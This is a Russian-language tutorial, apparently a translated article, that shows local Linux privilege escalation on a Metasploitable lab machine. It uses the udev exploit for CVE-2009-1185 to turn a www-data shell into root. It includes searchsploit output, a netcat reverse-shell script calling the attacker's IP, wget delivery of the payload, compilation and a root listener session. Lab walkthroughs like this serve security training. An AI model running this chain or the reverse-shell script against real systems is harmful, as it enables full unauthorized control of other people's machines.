Получение прав суперпользователя сродни Граалю для специалистов, занимающихся эксплуатацией уязвимостей в Linux.
Автор: drd_
Получение прав суперпользователя сродни Граалю для специалистов, занимающихся эксплуатацией уязвимостей в Linux. Так же как и системная учетная запись в Windows, в Linux аккаунт root дает полный административный доступ к операционной системе. Однако иногда даже при помощи эксплоита, который сработал успешно, мы получаем низкоуровневый шелл, и нужно нечто, позволяющее расширить полномочия, для получения доступа к более привилегированным аккаунтам и полного контроля над целевой системой.
Шаг 1: Сбор информации и поиск эксплоита
После того как получен низкоуровневый шелл в целевой системе, наша цель – расширение привилегий, права суперпользователя и полный доступ к системе.
В этой статье будет рассмотрено решение этой задачи при помощи эксплоита для ядра. Поскольку у нас уже есть шелл, воспользуемся командой uname –a для получения первоначальной информации о системе. Кроме того, команда lsb_release –a также может оказаться полезной для выяснения дистрибутива и сведений о релизе.
[*] Started reverse TCP handler on 172.16.1.100:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (36 bytes) to 172.16.1.102
[*] Command shell session 2 opened (172.16.1.100:4444 -> 172.16.1.102:49499) at 2018-07-16 13:55:15 -0500
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
lsb_release -a
No LSB modeuls are available.
Distributor ID: Ubuntu
Description: Ubuntu 8.04
Release: 8.04
Codename: hardy
Мы выяснили, что система работает на базе Ubuntu 8.04 с ядром 2.6.24, и теперь приступаем к поиску эксплоита. В Kali есть локальная версия сайта Exploit-DB, представляющая собой базу данных, которая содержит эксплоиты, код и публикации. Поиск по базе осуществляется прямо из терминала при помощи команды searchsploit:
root@nullbyte:~# searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23 | exploits/linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escala | exploits/linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22363.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Pr | exploits/linux/local/9844.py
Linux Kernel 2.4.32/2.6.0 - 'do_mremap()' Bound Checking Privilege E | exploits/linux/local/145.c
Linux Kernel 2.4.30/2.6.11.5 - Bluetooth 'bluez_sock_create' Local P | exploits/linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local | exploits/linux/local/19933.rb
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / REHL 4.8/5.3 / SuSE 10 SP | exploits/linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Pri | exploits/linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3) | exploits/linux/local/895.c
Linux Kernel 2.4.x/2.6.x - Bluetooth Signed Buffer Index Privilege E | exploits/linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege | exploits/linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox | exploits/linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Esca | exploits/linux_x86-64/local/4460.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation | exploits/linux/local/9641.txt
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local | exploits/linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9/04) UDEV < 1.4.1 - Local Pr | exploits/linux/local/8572.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Cor | exploits/linux_x86/local/9542.c
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1 | exploits/linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation | exploits/linux/local/40812.c
Поскольку мы ищем эксплоит для расширения привилегий, то используем ключевое слово privilege, а затем уточняем результаты поиска при помощи утилиты grep (флаг –i говорит о том, что не нужно учитывать регистр). Например, мы можем воспользоваться эксплоитом 8572.c, который эксплуатирует брешь в менеджере устройств UDEV и позволяет выполнять код через непроверенные сообщения в сокетах Netlink. Просто копируем путь к эксплоиту и при помощи команды locate выясняем полный путь:
root@nullbyte:~# locate linux/local/8572.c
/usr/share/exploitdb/exploits/linux/local/8572.c
root@nullbyte:~#
Как вы могли догадаться, эксплоит написан на С, однако мы не будем углубляться в дебри, а просто скомпилируем исходник. Хотя если вы знакомы с языком С, будет совсем не лишним ознакомиться с логикой работы эксплоита. Чтобы получить базовое представление о том, чем мы будем пользоваться, при помощи команды cat заглянем вовнутрь файла и посмотрим комментарии:
* cve-2009-1185.c
*
* udev < 1141 Local Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
*
http://
jon.
oberheide.
org
*
* Информация:
*
*
http://
cvemitre.
org/
cgi-
bin/
cvename.
cgi?
name=
CVE-2009-1185
*
*
udev до версии 1.4.1 не проверяет, приходит ли
NETLINK-сообщение из
* пространства ядра, что позволяет локальным аккаунтам расширять
* привилегии при помощи отсылки
NETLINK-сообщения из пространства
* пользователя
*
* Примечание:
*
* Этот эксплоит является альтернативной версией эксплоита от
kcope,
* использует правила 95-
udev-
late.
rules и позволяет запускать произвольные
* команды при удалении устройства. Более чистый и надежный код при условии,
* что в вашем дистрибутиве есть вышеуказанный файл с правилами.
*
* Протестирован в
Gentoo,
Intrepid и
Jaunty.
*
* Использование:
*
* Необходимо передать
PID, прикрепленный к сокетам
netlink менеджера
udevd
* указан в /
proc/
net/
netlink и обычно равен
udevd
PID минус 1), в
* качестве аргумента
argv[1].
*
* Эксплоит запускает /
tmp/
run от имени суперпользователя, и вы можете
* передать в ту команду любую полезную нагрузку.
Шаг 2: Доставка эксплоита в целевую систему
Для начала эксплоит нужно скопировать на целевую машину. Самый простой способ решить эту задачу – настроить локальный веб-сервер (например, Apache), подключиться к этому серверу с целевой системы и загрузить файл. Однако вначале нужно выполнить подготовительную работу.
Во-первых, убедитесь, что сервер поднят и работает в Kali. В терминале запустите команду service apache2 restart. Затем нужно создать символическую ссылку между директорией, где хранится и эксплоит и папкой с файлами сервера, при помощи следующей команды:
ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/
Теперь наш эксплоит доступен для загрузки.
В целевой системе эксплоит будет запускаться из директории /tmp, и нам нужно вначале создать исполняемый файл. В Kali введите команду nano /var/www/html/run и добавьте следующие строки:
#! /bin/bash
nc 172.16.1.100 4321 -e /bin/bash
После запуска этого файла для подключения и организации шелла к системе, в которой работает Kali, через IP-адрес и порт 4321, будет использоваться Netcat. Нажмите Ctrl-X, затем Y и далее клавишу Enter для сохранения файла.
Теперь мы готовы к загрузке файлов на целевую машину. Используя полученный ранее низкоуровневый шелл, переходим в директорию /tmp, при помощи утилиты wget подключаемся к веб-серверу, на котором установлен Kali, и загружаем файлы все необходимые файлы.
cd /tmp
wget http://172.16.1.100/run
--15:18:31-- http://172.16.1.100/run
=> 'run'
Connecting to 172.16.1.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46
OK 100% 978.43 KB/s
15:18:31 (978.43 KB/s) - 'run' saved [46/46]
wget http://172.16.1.100/local/8752.c
--15:19:24-- http://172.16.1.100/local/8572.c
=> '8572.c'
Connecting to 172.16.1.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,876 (2.8K) [text/x-csrc]
OK 100% 100.46 MB/s
15:19:24 (100.46 MB/s) - '8572.c' saved [2876/2876]
Шаг 3: Компиляция и запуск эксплоита
Когда все файлы, необходимые для запуска эксплоита, оказались в целевой системе, остался последний шаг – компиляция исходника. Мы не будем погружаться в дебри программирования, но, если коротко – исполняемый файл должен быть собран из исходного текста. В нашем случае компиляция будет осуществляться при помощи GCC (GNU Compiler Collection; Набор компиляторов проекта GNU).
Для компиляции файла 8572.c используйте следующую команду (флаг –o задает имя конечного исполняемого файла):
gcc
-
o
exploit
8572.
c
Если в процессе компиляции не будет найден динамический линковщик, воспользуйтесь флагом –B для указания директории, где находится ld:
gcc -B /usr/bin -o exploit 8572.c
После компиляции при помощи команды ls проверяем, что исполняемый файл появился.
gcc -o exploit 8572.c
collect2: cannont find 'ld'
gcc -B /usr/bin -o exploit 8572.c
ls
4674.jsvc_up
8572.c
exploit
jVswA
mhbkk
run
В комментариях файла 8572.c говорилось, что нам нужно найти PID (идентификатор процесса) сокета Netlink, который обычно равен идентификатору процесса UDEVD минус 1. Запускаем команду cat /proc/net/netlink и ищем ненулевой идентификатор. Проверяем найденное значение при помощи команды ps aux | grep udev. Идентификатор процесса UDEVB должен быть на единицу больше.
cat /
proc/
net/
netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
celb4800 0 0 00000000 0 0 00000000 2
cf87fa00 4 0 00000000 0 0 00000000 2
cd678000 7 0 00000000 0 0 00000000 2
cdc4bc00 9 0 00000000 0 0 00000000 2
cdc09c00 10 0 00000000 0 0 00000000 2
ce1bc400 15 0 00000000 0 0 00000000 2
cf8dee00 15 2459 00000000 0 0 00000000 2
cd394800 16 0 00000000 0 0 00000000 2
cd5f6200 18 0 00000000 0 0 00000000 2
ps
aux |
grep
udev
root 2460 0.0 0.2 2216 648 ?
S<
s 14:42 0:01 /
sbinudevd --
daemon
Затем нужно настроить слушатель на машине с Kali, с которым будет устанавливаться соединение после запуска скрипта run на целевой системе. На машине с Kali введите команду nc -lvp 4321, после чего начнут отслеживаться входящие подключения.
После настройки слушателя, можно приступать к запуску эксплоита. Вспоминаем, что нужно передать PID сокета Netlink в качестве аргумента, который в нашем случае равен 2459 (у вас это значение может отличаться). Выполняем следующую команду в непривилегированном шелле:
./
exploit 2459
Через некоторое время должно появиться подключение к нашему слушателю, и мы сможем запускать разные команды, как, например, id и whoami для просмотра информации о пользователе. Далее становится понятно, что у нас появился доступ с правами суперпользователя, и мы можем выполнять любые операции в целевой системе.
root@nullbyte:~# nc -lvp 4321
listening on [any] 4321 ...
172.16.1.102: inverse host lookup failed: Unknown host
connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 34418
id
uid=0(root) gid=0(root)
whoami
root
Первое — находим постоянно, второе — ждем вас